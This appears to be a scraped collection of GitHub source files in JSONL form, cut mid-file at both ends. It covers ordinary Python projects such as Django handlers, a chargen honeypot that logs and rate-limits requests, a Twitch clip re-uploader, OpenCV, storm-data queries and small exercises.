13):\n\t\t\t\tbreak\n\t\t\tcount += 1\n\telse:\n\t\tfor i in a:\n\t\t\ttmp = str(i).split('>')\n\n\t\t\tif(len(tmp) == 3):\n\t\t\t\tprint(tmp[1][:-3])\n\n\t\t\tif(count > 11):\n\t\t\t\tbreak\n\t\t\tcount+=1\n","repo_name":"aman34503/Movie-Recommendor-based-on-Emotion","sub_path":"movieRecommendor.py","file_name":"movieRecommendor.py","file_ext":"py","file_size_in_byte":1932,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"37264502803","text":"# -*- coding: utf-8 -*-\n\"\"\"\nAuthor: Wang Chao \nFilename: staff\nDate Created: 2016-05-27 15-24\nDescription:\n\n\"\"\"\n\nfrom django.dispatch import receiver\nfrom core.signals import (\n staff_new_add_signal,\n recruit_staff_diamond_signal,\n staff_star_up_signal,\n staff_step_up_signal,\n)\n\nfrom core.collection import Collection\nfrom core.system import BroadCast\n\nfrom config import ConfigItemNew\n\n@receiver(staff_new_add_signal, dispatch_uid='signals.staff.staff_new_add_handler')\ndef staff_new_add_handler(server_id, char_id, staffs_info, force_load_staffs, **kwargs):\n oids = [o for o, _ in staffs_info]\n Collection(server_id, char_id).add(oids, force_load_staffs=force_load_staffs)\n\n\n@receiver(recruit_staff_diamond_signal, dispatch_uid='signals.staff.recruit_diamond')\ndef recruit_staff_diamond_handler(server_id, char_id, times, staffs, **kwargs):\n b = BroadCast(server_id, char_id)\n for _sid, _amount in staffs:\n if ConfigItemNew.get(_sid).sub_tp == 1:\n b.cast_diamond_recruit_staff_notify(_sid)\n\n\n@receiver(staff_star_up_signal, dispatch_uid='signals.staff.star_up_handler')\ndef star_up_handler(server_id, char_id, staff_id, staff_oid, new_star, **kwargs):\n major, minor = divmod(new_star, 10)\n if minor == 0:\n b = BroadCast(server_id, char_id)\n b.cast_staff_star_up_notify(staff_oid, major)\n\n@receiver(staff_step_up_signal, dispatch_uid='signals.staff.step_up_handler')\ndef step_up_handler(server_id, char_id, staff_id, staff_oid, new_step, **kwargs):\n if new_step > 3:\n b = BroadCast(server_id, char_id)\n b.cast_staff_step_up_notify(staff_oid, new_step)","repo_name":"yueyoum/dianjing","sub_path":"signals/staff.py","file_name":"staff.py","file_ext":"py","file_size_in_byte":1667,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"11"} +{"seq_id":"18981248172","text":"from PhotonMap import add_photon_map_to_scene, optimize_photon_map\nfrom PostProcessing import sigmoid_scale, basic_tone_map_scale\nfrom objParser import *\nfrom RayTraceCore import *\n\nif __name__ == '__main__':\n with open(\"glass2.obj\", \"r\") as file:\n scene = parse_obj(file.read())\n with open(\"scenes/north.scenario\") as file:\n parse_senario(file.read(), scene)\n\n # with open(\"teapot.obj\", \"r\") as file:\n # scene = parse_obj(file.read())\n # with open(\"teapot.senario\") as file:\n # parse_senario(file.read(), scene)\n # scene.optimize_scene(amount=20)\n\n\n img = render(scene)\n\n\n img_a = sigmoid_scale(img)\n img_a = clip(img_a)\n\n #img = render(scene, True)\n\n #print(img)\n show_img(img_a)\n save_img(img_a,\"r1.png\")\n\n img_b = clip(img)\n show_img(img_b)\n save_img(img_b, \"r2.png\")","repo_name":"noahiscool13/Python_raytracer","sub_path":"TraceTest.py","file_name":"TraceTest.py","file_ext":"py","file_size_in_byte":844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"22243429919","text":"#!/usr/bin/env python3\n\nimport base64\nimport datetime\nimport json\nimport logging\nimport socketserver\nimport threading\nimport traceback\n\nimport core.genpot as genpot\nimport core.utils as utils\n\n\nLOGGER_NAME = 'chargen'\n\n\nclass ChargenServer(socketserver.BaseRequestHandler):\n # default logger\n logger = logging.getLogger(LOGGER_NAME)\n\n @staticmethod\n def set_response_defaults(response_size=1024, line_len=72):\n if response_size <= 0:\n ChargenServer.logger.warning('Response size cannot be negative (%d), using default value (1024)' % (response_size))\n response_size = 1024\n if line_len <= 0:\n ChargenServer.logger.warning('Line length cannot be negative (%d), using default value (72)' % (line_len))\n line_len = 72\n if line_len > response_size:\n ChargenServer.logger.warning('Line len (%d) > response size (%d), using default values (72, 1024)' % (line_len, response_size))\n response_size = 1024\n line_len = 72\n ChargenServer.response_size = response_size\n ChargenServer.line_len = line_len\n\n def log_packet(\n self, msg, addr, port, timestamp,\n incoming_pkt, req_size, resp_size, last=False):\n data = {}\n data['time'] = str(timestamp)\n data['src_ip'] = addr\n data['src_port'] = port\n data['req_size'] = req_size\n data['resp_size'] = resp_size\n if self.server.log_req_packets:\n data['req_pkt'] = incoming_pkt.decode('ascii')\n\n raw_json = json.dumps(data)\n\n self.logger.info('%s - %s' % (msg, raw_json))\n\n if not last:\n db_params = {\n 'ip': utils.addr_to_int(addr),\n 'port': port,\n 'time': timestamp,\n 'request_pkt': incoming_pkt,\n 'input_size': req_size,\n 'output_size': resp_size,\n }\n self.server.log_queue.put({'type': 'insert', 'db_params': db_params})\n\n # if last packet, send to hpfeeds and notifier/alerter\n if last:\n if self.server.hpfeeds_client:\n self.server.hpfeeds_client.publish('chargenpot.events', raw_json)\n\n # send notification if alerter is enabled\n # THIS OPERATION CAN BE SLOW!\n if self.server.alerter:\n self.server.alerter.alert(addr, int(port))\n\n def handle(self):\n try:\n addr = self.client_address[0]\n port = self.client_address[1]\n data = self.request[0]\n sock = self.request[1]\n first = False\n last = False\n\n # no need to check for validity. any packet is accepted\n\n # IP addresses in transaction log and database will be stored as integers/long\n addr_int = utils.addr_to_int(addr)\n\n now = datetime.datetime.now()\n log_msg = 'New chargen packet received'\n\n # check if the request from this IP address was already received - ENTERING CRITICAL SECTION HERE!\n with self.server.tx_log_lock:\n if addr_int in self.server.transaction_log:\n addr_log = self.server.transaction_log[addr_int]\n\n # check if this is an already existing attack or a new attack\n # attack is classified as NEW if more than new_attack_duration_interval\n # minutes have passed since the last seen packet\n if addr_log['last_seen'] + self.server.new_attack_interval < now:\n # consider this as a new attack, reset cache data\n first = True\n addr_log['count'] = 1\n addr_log['last_seen'] = now\n log_msg = 'New attack detected'\n else:\n # update transaction log and database last-seen time and packet count and do not respond to the packet\n addr_log['last_seen'] = now\n addr_log['count'] += 1\n\n # add the IP address to the request cache set - this set will be frequently flushed to DB\n self.server.ip_log.add(addr_int)\n\n # if count >= threshold, ignore the packet, never respond\n if addr_log['count'] > self.server.threshold:\n return\n # log reaching of threshold and mark packet as last that will be accepted\n elif addr_log['count'] == self.server.threshold:\n last = True\n self.logger.info(\n 'Threshold reached for host %s - will not respond to this host' % addr)\n log_msg = 'Last packet - threshold reached'\n else:\n # add host to transaction log\n first = True\n self.server.transaction_log[addr_int] = {}\n self.server.transaction_log[addr_int]['last_seen'] = now\n self.server.transaction_log[addr_int]['count'] = 1\n\n # access needs to be synchronized since multiple threads can transform the alphabet\n # response is shifted alphabet, depending on response size and line length in config\n response = ''\n with self.server.alphabet_lock:\n for i in range(1 + int(self.response_size / self.line_len)):\n suf_len = min(self.line_len, abs(self.response_size - len(response) - 2))\n response += self.server.alphabet[0:suf_len] + '\\r\\n'\n self.server.alphabet = self.server.alphabet[1:] + self.server.alphabet[0]\n\n # last line\n if suf_len < self.line_len:\n break\n\n sock.sendto(response.encode('ascii'), self.client_address)\n if first or last:\n b64_req = base64.b64encode(data)\n input_size = len(data)\n output_size = len(response)\n self.log_packet(\n log_msg,\n addr,\n port,\n now,\n b64_req,\n input_size,\n output_size,\n last\n )\n except Exception:\n t = traceback.format_exc()\n self.logger.error('Unknown error during communication with %s:%d - %s' % (addr, port, base64.b64encode(data)))\n self.logger.error('Stacktrace: %s' % t)\n\n\nclass ThreadedChargenServer(genpot.ThreadedUDPServer):\n # chargen alphabet per RFC 864\n alphabet = ''.join(chr(x) for x in range(33, 126))\n\n # lock for synchronization of chargen alphabet access and transformation\n alphabet_lock = threading.Lock()\n\n def _flush_ip_info(self, ip):\n addr_log = self.transaction_log[ip]\n db_params = {\n 'ip': ip,\n 'last_seen': addr_log['last_seen'],\n 'count': addr_log['count']\n }\n self.log_queue.put({'type': 'update', 'db_params': db_params})\n\n\ndef create_server(conf, logger_name, log_queue, output_queue, hpf_client=None, alerter=None):\n server, ip, port = genpot.create_base_server(\n ThreadedChargenServer,\n ChargenServer,\n conf,\n logger_name,\n log_queue,\n output_queue,\n hpf_client,\n alerter\n )\n\n response_size = conf.getint('chargen', 'response_size')\n line_len = conf.getint('chargen', 'line_len')\n ChargenServer.set_response_defaults(response_size, line_len)\n\n msg = \"ChargenPot starting at %s:%d\" % (ip, port)\n logging.getLogger(logger_name).info(msg)\n print(msg)\n\n return server\n","repo_name":"aelth/ddospot","sub_path":"ddospot/pots/chargen/chargen.py","file_name":"chargen.py","file_ext":"py","file_size_in_byte":8409,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"11"} +{"seq_id":"31872873935","text":"from __future__ import unicode_literals\r\nimport requests\r\nimport youtube_dl\r\nfrom googleapiclient.discovery import build\r\nimport google.auth\r\nfrom simple_youtube_api.Channel import Channel\r\nfrom simple_youtube_api.LocalVideo import LocalVideo\r\nimport urllib.request\r\nimport os\r\nimport time\r\nfrom datetime import datetime\r\n\r\nClientID = \"\" # Put your youtube API ClientID here.\r\nNumberOfClips = 6 # change the number if you have more youtube api qouta. Leave 6 if normal qouta amount.\r\nurls = []\r\ntitles = []\r\nchannelUrls = []\r\nFinalUrls = []\r\n\r\nCurrentVideo = 0\r\n\r\ndef GetClip():\r\n # Get the 6 most popular clips of the day:\r\n for x in range(NumberOfClips):\r\n url = \"https://api.twitch.tv/kraken/clips/top\"\r\n headers = {\r\n \"Client-ID\": ClientID,\r\n \"Accept\": \"application/vnd.twitchtv.v5+json\"\r\n }\r\n params = {\r\n \"first\": NumberOfClips,\r\n \"period\": \"day\"\r\n }\r\n req = requests.get(url = url, headers = headers, params = params)\r\n clipData = req.json()\r\n\r\n # Save clip info:\r\n ViewCount = clipData[\"clips\"][x][\"views\"]\r\n urls.append(clipData[\"clips\"][x][\"url\"])\r\n titles.append(clipData[\"clips\"][x][\"title\"])\r\n channelUrls.append(clipData[\"clips\"][x][\"curator\"][\"channel_url\"])\r\n\r\n\r\ndef ConvertVideoToMp4():\r\n for x in range(NumberOfClips):\r\n ydl = youtube_dl.YoutubeDL({'outtmpl': '%(id)s.%(ext)s'})\r\n with ydl:\r\n result = ydl.extract_info(\r\n urls[x],\r\n download=False # We just want to extract the info\r\n )\r\n if 'entries' in result:\r\n # Can be a playlist or a list of videos\r\n video = result['entries'][0]\r\n else:\r\n # Just a video\r\n video = result\r\n FinalUrls.append(video[\"formats\"][-1][\"url\"])\r\n\r\n# Download and save the videos to your working directory:\r\ndef SaveVideo():\r\n for x in range(NumberOfClips):\r\n print(\"Downloading video number \" + str(x))\r\n urllib.request.urlretrieve(FinalUrls[x], str(x) + \".mp4\") \r\n\r\ndef UploadVideo(CurrentVideoNumber): \r\n # loggin into the channel\r\n channel = Channel()\r\n channel.login(\"client_secret.json\", \"credentials.storage\")\r\n # setting up the video that is going to be uploaded\r\n video = LocalVideo(file_path= str(CurrentVideoNumber) + \".mp4\")\r\n\r\n # setting snippet\r\n video.set_title(titles[CurrentVideoNumber])\r\n video.set_description(\"Original clip: \" + urls[CurrentVideoNumber] + \", \\nClip uploader: \" + channelUrls[CurrentVideoNumber] + \", This channel brings you the most popular twitch clips every day. \\nYou can read more about how this works here: https://github.com/Luscsus/TwitchClipsUploader\")\r\n video.set_tags([\"Twitch\", \"Clip\", \"Streamer\"])\r\n video.set_category(24) # You can find what category numbers mean what here: https://techpostplus.com/youtube-video-categories-list-faqs-and-solutions/\r\n video.set_default_language(\"en-US\")\r\n\r\n # setting status\r\n video.set_embeddable(True)\r\n video.set_license(\"youtube\")\r\n video.set_privacy_status(\"public\")\r\n video.set_public_stats_viewable(True)\r\n\r\n # uploading video and printing the results\r\n video = channel.upload_video(video)\r\n\r\nnow = datetime.now() \r\ncurrent_time = now.strftime(\"%H:%M:%S\")\r\nstart = '12:00:00'\r\nend = '13:00:00'\r\nDone = False\r\nwhile True: \r\n if current_time > start and current_time < end and Done == False: # Check if the current time is within the starting time and ending time\r\n # First get the clips and store them in a list\r\n GetClip()\r\n # Convert the videos to mp4\r\n ConvertVideoToMp4()\r\n # Download the videos to the working directory\r\n SaveVideo()\r\n # Upload videos\r\n for x in range(NumberOfClips):\r\n try:\r\n UploadVideo(CurrentVideo)\r\n except: \r\n print(\"There has been a problem with the video upload\")\r\n CurrentVideo = CurrentVideo + 1\r\n CurrentVideo = 0\r\n Done = True\r\n elif current_time < start or current_time > end:\r\n Done = False\r\n","repo_name":"Luscsus/TwitchClipsUploader","sub_path":"TwitchClipsUploader.py","file_name":"TwitchClipsUploader.py","file_ext":"py","file_size_in_byte":4151,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"36026438466","text":"import pytest\nfrom api_client import ApiClient\nfrom utils.exceptions import InvalidEndpointException, InvalidHTTPMethodExceptions\n\n@pytest.fixture\ndef api_client():\n \"\"\"Fixture that returns an instance of the ApiClient class with base_url as 'https://jsonplaceholder.typicode.com'.\"\"\"\n return ApiClient(base_url='https://jsonplaceholder.typicode.com')\n\n@pytest.fixture(autouse=True)\ndef catch_exceptions(request):\n \"\"\"Fixture that catches and fails the test if InvalidEndpointException or InvalidHTTPMethodExceptions is raised.\n\n Args:\n request: Fixture request object.\n\n Raises:\n InvalidEndpointException: If an invalid endpoint is provided.\n InvalidHTTPMethodExceptions: If an invalid HTTP method is used.\n \"\"\"\n try:\n yield\n except (InvalidEndpointException, InvalidHTTPMethodExceptions) as e:\n pytest.fail(str(e))","repo_name":"monochromecyan/pytest_restful_framework","sub_path":"conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":875,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"13462473674","text":"ids = [1, 2, 3, 4]\nnames = ['Krishna', 'Narasimha', 'Ramesh', 'Sailu']\nages = [34, 39, 45, 35]\ncities = ['Bangalore', 'Chennai', 'Bangalore', 'Hyderabad']\n\nzipped = zip(ids, names, ages, cities)\nprint(zipped)\n\n# iterating over the zipped object using for loop\nprint('\\niterating over the zipped object using for loop')\nfor id, name, age, city in zipped:\n print(f'id : {id}, name : {name}, age : {age}, city : {city}')\n\n# I can't iterate over a zipped object multiple times, so creating new one\nzipped = zip(ids, names, ages, cities)\nprint('Convert the zipped object to a list')\nlist_of_tuples = list(zipped)\nprint(f'\\nlist_of_tuples : \\n{list_of_tuples}')\n\n# I can't iterate over a zipped object multiple times, so creating new one\nprint('\\nIterate over zipped object using next function')\nzipped = zip(ids, names, ages, cities)\nwhile True:\n try:\n id, name, age, city = next(zipped)\n print(f'id : {id}, name : {name}, age : {age}, city : {city}')\n except StopIteration:\n print('No more elements to process')\n break\n","repo_name":"harikrishna553/python","sub_path":"python-core/6. miscellaneous/zip_demo.py","file_name":"zip_demo.py","file_ext":"py","file_size_in_byte":1052,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"1414278311","text":"from django.urls import path\nfrom . import views\n\n# Create your views here.\nurlpatterns = [\n path('', views.texts, name='texts'),\n path('add/', views.addText, name='add_text'),\n path('add//', views.addTextID, name='add_text_id'),\n path('update//', views.updateText, name='update_text'),\n path('delete//', views.deleteText, name='delete_text'),\n path('/', views.text_summary, name='text_summary')\n]","repo_name":"mosesju/sms_django","sub_path":"sms/texts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":447,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"42855105774","text":"import logging\nimport os\nfrom src.apps.email_app import EmailApp\nfrom src.apps.process_pdf_app import ProcessPdfApp\nfrom src.infra.app_configuration_reader.app_configuration_reader import AppConfigurationReader\nfrom src.infra.application_log.app_log_handler import ApplicationLogHandler\nfrom src.infra.exception_handler import ApplicationException\nfrom src.infra.google_drive_handler.google_drive_handler import \\\n GoogleDriveHandler\nfrom src.infra.repositorios.configuration_repository import ConfigurationRepository\nfrom src.infra.repositorios.accommodation_repository import AccommodationRepository\nfrom src.infra.repositorios.exceptions_repository import ExceptionRepository\nfrom src.infra.repositorios.paid_bill_repository import PaidBillRepository\n\n\ndef create_logger(name: str):\n logging.basicConfig(\n # filename=\"logs/output.txt\",\n # filemode=\"w\",\n level=logging.INFO,\n format=\"%(asctime)s:%(levelname)s:%(message)s\",\n datefmt=\"%Y-%m-%d %I:%M:%S%p\",\n )\n return logging.getLogger(name)\n\n\ndef validate_folder(drive, log, config_repo, parent_id, sec_id, sec_name, name):\n config_folder_id = _get_remote_info(config_repo, log, sec_id)\n config_folder_name = _get_remote_info(config_repo, log, sec_name)\n folder_id = drive.find_file(config_folder_name, parent_id)\n ApplicationException.when(folder_id is None, f'{name} folder not found. [{config_folder_name}]')\n ApplicationException.when(config_folder_id != folder_id,\n f'{name} folder found but its id must be the same as the advisor in \"{sec_id}\". [{config_folder_id}]')\n\n return folder_id\n\n\ndef get_local_config_info(key) -> str:\n value = app_config_reader.get(key)\n ApplicationException.when(value == '', f\"'{key}' does not exist or empty.\")\n return value\n\n\ndef _get_remote_info(configuration_repo, log, key) -> str:\n value = configuration_repo.get_key(key)\n ApplicationException.when(value == '', f\"Chave não encontrada no arquivo de Configuração. [key='{key}']\", log)\n return value\n\n\ndef config_telegram(log, app_config_reader):\n log.token_execution = app_config_reader.get('telegram_exec_bot_token')\n log.token_warn = app_config_reader.get('telegram_warn_bot_token')\n log.token_error = log.token_execution\n log.list_execution_chat_id = app_config_reader.get('telegram_exec_bot_chats_id')\n log.list_warn_chat_id = app_config_reader.get('telegram_warn_bot_chats_id')\n\n\ndef get_local_config_handler(log, base_dir):\n log.info('App started - Reading local config file...')\n config_path = os.path.join(base_dir, 'config', 'config.json')\n ApplicationException.when(not os.path.exists(config_path), f'Path does not exist. [{config_path}]')\n return AppConfigurationReader(config_path)\n\n\ndef get_drive_handler(log, base_dir):\n log.info('Connecting google drive....', instant_msg=True, warn=True)\n config_directory = os.path.join(base_dir, 'config')\n return GoogleDriveHandler(config_directory)\n\n\ndef get_config_repository(log, drive, file_id):\n log.info('Getting accommodation repository....', instant_msg=True, warn=True)\n #stream_file = drive.get_excel_file(file_id)\n stream_file = drive.get_google_sheets_file(file_id)\n config_repo = ConfigurationRepository()\n config_repo.from_excel(stream_file)\n return config_repo\n\n\nif __name__ == '__main__':\n erro = False\n config_repo = None\n accommodation_fileid = ''\n email_local_folder = ''\n base_dir = os.path.dirname(os.path.abspath(__file__))\n log = ApplicationLogHandler(create_logger(__name__))\n\n try:\n app_config_reader = get_local_config_handler(log, base_dir)\n google_drive_handler = get_drive_handler(log, base_dir)\n local_email_work_folder = get_local_config_info('email_in_local_folder')\n if (local_email_work_folder):\n email_local_folder = os.path.join(base_dir, '.email_work_folder')\n\n config_telegram(log, app_config_reader)\n accommodation_fileid = get_local_config_info('google_drive_accommodation_fileid')\n config_repo = get_config_repository(log, google_drive_handler, accommodation_fileid)\n\n except Exception as error:\n msg = str(error)\n log.error(msg)\n log.info('App Finished', instant_msg=True, warn=True)\n exit(1)\n\n if not (local_email_work_folder):\n try:\n smtp_server = _get_remote_info(config_repo, log, 'gmail.imap.server')\n user = _get_remote_info(config_repo, log, 'gmail.user')\n password = _get_remote_info(config_repo, log, 'gmail.password')\n input_email_folder = _get_remote_info(config_repo, log, 'gmail.reading.folder')\n output_email_folder = _get_remote_info(config_repo, log, 'gmail.output.folder')\n work_folder_id = _get_remote_info(config_repo, log, 'googledrive.work.folderid')\n\n email_app = EmailApp()\n temp_dir = os.path.join(base_dir, 'temp')\n ApplicationException.when(not os.path.exists(temp_dir), f'Path does not exist. [{temp_dir}]', log)\n email_app.execute(google_drive_handler, log, smtp_server=smtp_server, user=user, password=password,\n input_email_folder=input_email_folder, output_email_folder=output_email_folder, temp_dir=temp_dir,\n work_folder_id=work_folder_id)\n\n except Exception as error:\n msg = str(error)\n log.error(msg)\n log.info('App Finished', instant_msg=True, warn=True)\n exit(2)\n\n # try:\n folder_base_id = _get_remote_info(config_repo, log, 'googledrive.base.folderid')\n if folder_base_id.upper() in ['VAZIO', 'RAIZ']:\n folder_base_id = ''\n\n others_folder_base_id = validate_folder(google_drive_handler, log, config_repo, folder_base_id, 'googledrive.otherfiles.folderid', 'googledrive.otherfiles.foldername', 'Other files')\n results_folder_id = validate_folder(google_drive_handler, log, config_repo, folder_base_id, 'googledrive.results.folderid', 'googledrive.results.foldername', 'Results')\n work_folder_id = validate_folder(google_drive_handler, log, config_repo, folder_base_id, 'googledrive.work.folderid', 'googledrive.work.foldername', 'Work')\n\n #stream_file = google_drive_handler.get_excel_file(accommodation_fileid)\n stream_file = google_drive_handler.get_google_sheets_file(accommodation_fileid)\n except_repo = ExceptionRepository()\n except_repo.from_excel(stream_file)\n\n accommodations_repo = AccommodationRepository()\n accommodations_repo.from_excel(stream_file)\n\n paid_repo = PaidBillRepository()\n paid_bill_path = os.path.join(base_dir, 'database', 'database.xlsx')\n qd28_path = os.path.join(base_dir,'database', '#QD28_IMPORTACAO_ROBOT.xlsx')\n paid_repo.from_excel(paid_bill_path)\n exports_folder = os.path.join(base_dir, 'exports')\n\n xxx_app = ProcessPdfApp(google_drive_handler, log, accommodations_repo, paid_repo, except_repo)\n xxx_app.execute(work_folder_id=work_folder_id, email_local_folder=email_local_folder, others_folder_base_id=others_folder_base_id,\n results_folder_id=results_folder_id, qd28_path=qd28_path, paid_bill_path=paid_bill_path, exports_folder=exports_folder)\n\n # except Exception as error:\n # msg = str(error)\n # log.error(msg)\n # log.info('App Finished', instant_msg=True, warn=True)\n # exit()\n","repo_name":"sergiowgt/billing_mgmt","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7415,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"24255557888","text":"import cv2\nimport matplotlib.pyplot as plt \n\n\n#カメラ起動\ncap = cv2.VideoCapture(0)\nwhile True:\n #画像として読み込み\n _,frame = cap.read()\n #グレイスケール化\n frame = cv2.cvtColor(frame,cv2.COLOR_RGB2GRAY)\n #ガウシアンフィルターで平滑化\n frame = cv2.GaussianBlur(frame,(7,7),0)\n #画像の2値化\n frame = cv2.threshold(frame,120,240,cv2.THRESH_BINARY_INV)[1]\n\n \n cv2.imshow('OpenCV Camera', frame)\n\n #終了受付\n k = cv2.waitKey(1)\n if k==27 or k == 13: break\n\n\n#カメラのリリース\ncap.release()\ncv2.destroyAllWindows()","repo_name":"Takenokono/Play_OpenCV","sub_path":"BinaryWorld.py","file_name":"BinaryWorld.py","file_ext":"py","file_size_in_byte":603,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"2737128853","text":"#Skyler Booth\n#Spbooth\n#Group 54\n\n# create a funcation storm_by_event\n# have this funcation take an event type\n# have the funcation print info on all events in IN for the year\n\n# create a new funcation date\n# have this fuction take a date\n# make it print information of every storm in IN on that date\n\n# ask user if they want to search by date or event\n# if they answer date ask them for a date then show results for that date\n# if they answer event show the events of that type\n\n\nimport csv\nimport datetime\nimport time\n\ndef storm_by_event(eventType):\n eventTypes = [\"Dense Fog\", \"Blizzard\", \"Cold/Wind Chill\", \"Excessive Heat\", \"Extreme Cold/Wind Chill\", \"Flash Flood\", \"Flood\", \"Hail\", \"Heat\", \"Heavy Rain\", \"Heavy Snow\", \"Ice Storm\", \"Lake-Effect Snow\", \"Lightning\", \"Strong Wind\", \"Thunderstorm Wind\", \"Tornado\", \"Winter Storm\", \"Winter Weather\"]\n storms = csv.DictReader(open(\"Indiana_Storms.csv\", \"r\"))\n if eventType in eventTypes:\n for storm in storms:\n if storm[\"EVENT_TYPE\"] == eventType.title():\n print(\"A\", storm[\"EVENT_TYPE\"], \"happened on\", storm[\"BEGIN_YEARMONTH\"][4:] +\"/\" + storm[\"BEGIN_DAY\"] +\"/\" + storm[\"BEGIN_YEARMONTH\"][:4], \"in\", storm[\"CZ_NAME\"], \"county.\")\n else:\n print(\"The Event Type you entered wasn't valid!\")\n\ndef storm_by_date(date):\n valid = False\n storms = csv.DictReader(open(\"Indiana_Storms.csv\", \"r\"))\n yearMonth = date.strftime(\"%Y%m\")\n day = date.strftime(\"%d\")\n for storm in storms:\n if storm[\"BEGIN_YEARMONTH\"] == yearMonth and storm[\"BEGIN_DAY\"] == day:\n print(\"A\", storm[\"EVENT_TYPE\"], \"happened on\", storm[\"BEGIN_YEARMONTH\"][4:] +\"/\" + storm[\"BEGIN_DAY\"] +\"/\" + storm[\"BEGIN_YEARMONTH\"][:4], \"in\", storm[\"CZ_NAME\"], \"county.\")\n valid = True\n if not valid:\n print(\"No events happened on this date.\")\n###MAIN###\nwhile True:\n userInput = input(\"Would you like to search by date or by event?: \")\n if userInput.title() == \"Date\" or userInput.title() == \"Event\":\n if userInput.title() == \"Event\":\n userEvent = input(\"Please enter the type of weather you are searching for: \")\n storm_by_event(userEvent)\n break\n else: \n userDate = input(\"Please enter your date in YYYY/MM/DD format: \")\n date = datetime.date(int(userDate[:4]), int(userDate[5:7]), int(userDate[8:]))\n storm_by_date(date)\n break\n \n else:\n print(\"That is not a valid selection. Please try again.\")\n\n\n\n\n\n\n\n\n\n\n\n\n#storm_by_event(\"Dense Fog\")\n#date = datetime.date(2015, 5, 15)\n#storm_by_date(date)\n\n","repo_name":"spbooth14/Portfolio","sub_path":"Python Code/Information Infrastructure II/Assignments/Spbooth_A1_Group.py","file_name":"Spbooth_A1_Group.py","file_ext":"py","file_size_in_byte":2622,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"18115116508","text":"import sys\n\nN = int(input())\n\nlst = []\n\nfor n in range(N):\n x, y = map(int, sys.stdin.readline().split())\n lst.append((x, y))\n\nlst = sorted(lst, key=lambda x: (x[0], x[1]))\n\nfor x, y in lst:\n print(x, y)","repo_name":"PWinwon/TIL","sub_path":"Problem-Solving/BOJ/class2/BOJ_11650.py","file_name":"BOJ_11650.py","file_ext":"py","file_size_in_byte":212,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"20145270174","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Jun 25 10:21:21 2018\n\n@author: devang\n\"\"\"\nimport csv\nimport sys\nimport math\nimport numpy as np\nimport matplotlib.pyplot as py\nlist1=[]\nwith open('makemytrip_com-travel_sample.csv','r') as csvfile:\n \n\n\n\n y=csv.reader(csvfile,delimiter=',',quotechar= '\"')\n for row in y:\n list1.append(row) \n print (row)\n \nprint(type(list1))\nlist_cities=[]\ni=0\nwhile i< len (list1):\n list_cities.append(list1[i][1])\n i=i+1\nvac=list1[0][2]\nlist_cities.append(vac)\n# will be leaving the 'city' keyword \ni=1\nwhile i/',views.UpdateUserDetails),\r\n path('ApplicantDetailView',views.ApplicantDetailView),\r\n\r\n\r\n\r\n path('UpdatePersonalInformation',views.UpdatePersonalInformation),\r\n path('UpdateIncomeAndDomicileInfo',views.UpdateIncomeAndDomicileInfo),\r\n path('UpdateEligibilityInfo',views.UpdateEligibilityInfo),\r\n path('UpdateBankInformation',views.UpdateBankInformation),\r\n path('UpdateResidentialInfo',views.UpdateResidentialInfo),\r\n path('UpdateQualificationInfo',views.UpdateQualificationInfo),\r\n path('UpdateOtherInfo',views.UpdateOtherInfo),\r\n path('UpdateSchemeDetails',views.UpdateSchemeDetails),\r\n\r\n\r\n \r\n]","repo_name":"askynade/projectNbr","sub_path":"applicant/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1044,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"69979753627","text":"team = 'New England Patriots'\nprint(team[0])\n#print(team[1.5])-this is wrong\n\nprint(len(team))\n\nprint(team[len(team)-1])\n\nlast = team[-1]\nprint(last)\n\nindex=0\nwhile index str:\n length = 2 ** n - 1\n j = n\n reverse = False\n while j != 1:\n if k == length // 2 + 1:\n return \"1\" if not reverse else '0'\n elif k <= length // 2:\n length = length // 2\n else:\n k = length - k + 1\n length = length // 2\n reverse = reverse ^ True\n j -= 1\n # print(\"k=\"+str(k))\n # print(length)\n return \"1\" if reverse else '0'\n\nclass Solution2:\n def findKthBit(self, n: int, k: int) -> str:\n s = '0'\n i = 1\n\n while i < n:\n cur = s + '1' + ''.join(['0' if c == '1' else '1' for c in s[::-1]])\n s = cur\n i += 1\n return s[k - 1]\n\n\nk = Solution()\nprint(k.findKthBit(n = 4, k = 15))\n","repo_name":"huangketsudou/leetcode_python","sub_path":"digit/findKthBit.py","file_name":"findKthBit.py","file_ext":"py","file_size_in_byte":878,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"35816696476","text":"import numpy as np\nfrom sklearn.datasets import make_moons, make_blobs\n\n\nnp.random.seed(42)\n\nmoons = make_moons(n_samples=100, noise=0.05)\nmoons_x, moons_y = moons\nmoons_y += 3\nmoons_dataset = np.hstack([moons_x, moons_y.reshape(-1, 1)])\n\nblobs = make_blobs(n_samples=300, n_features=2, centers=[(-0.6, -0.5), (1.3, 1.4), (2, 0.9)], cluster_std=0.3)\nblobs_x, blobs_y = blobs\nblobs_dataset = np.hstack([blobs_x, blobs_y.reshape(-1, 1)])\n\ndataset = np.vstack([moons_dataset, blobs_dataset])\n\nnp.savetxt(\"my_own.txt\", 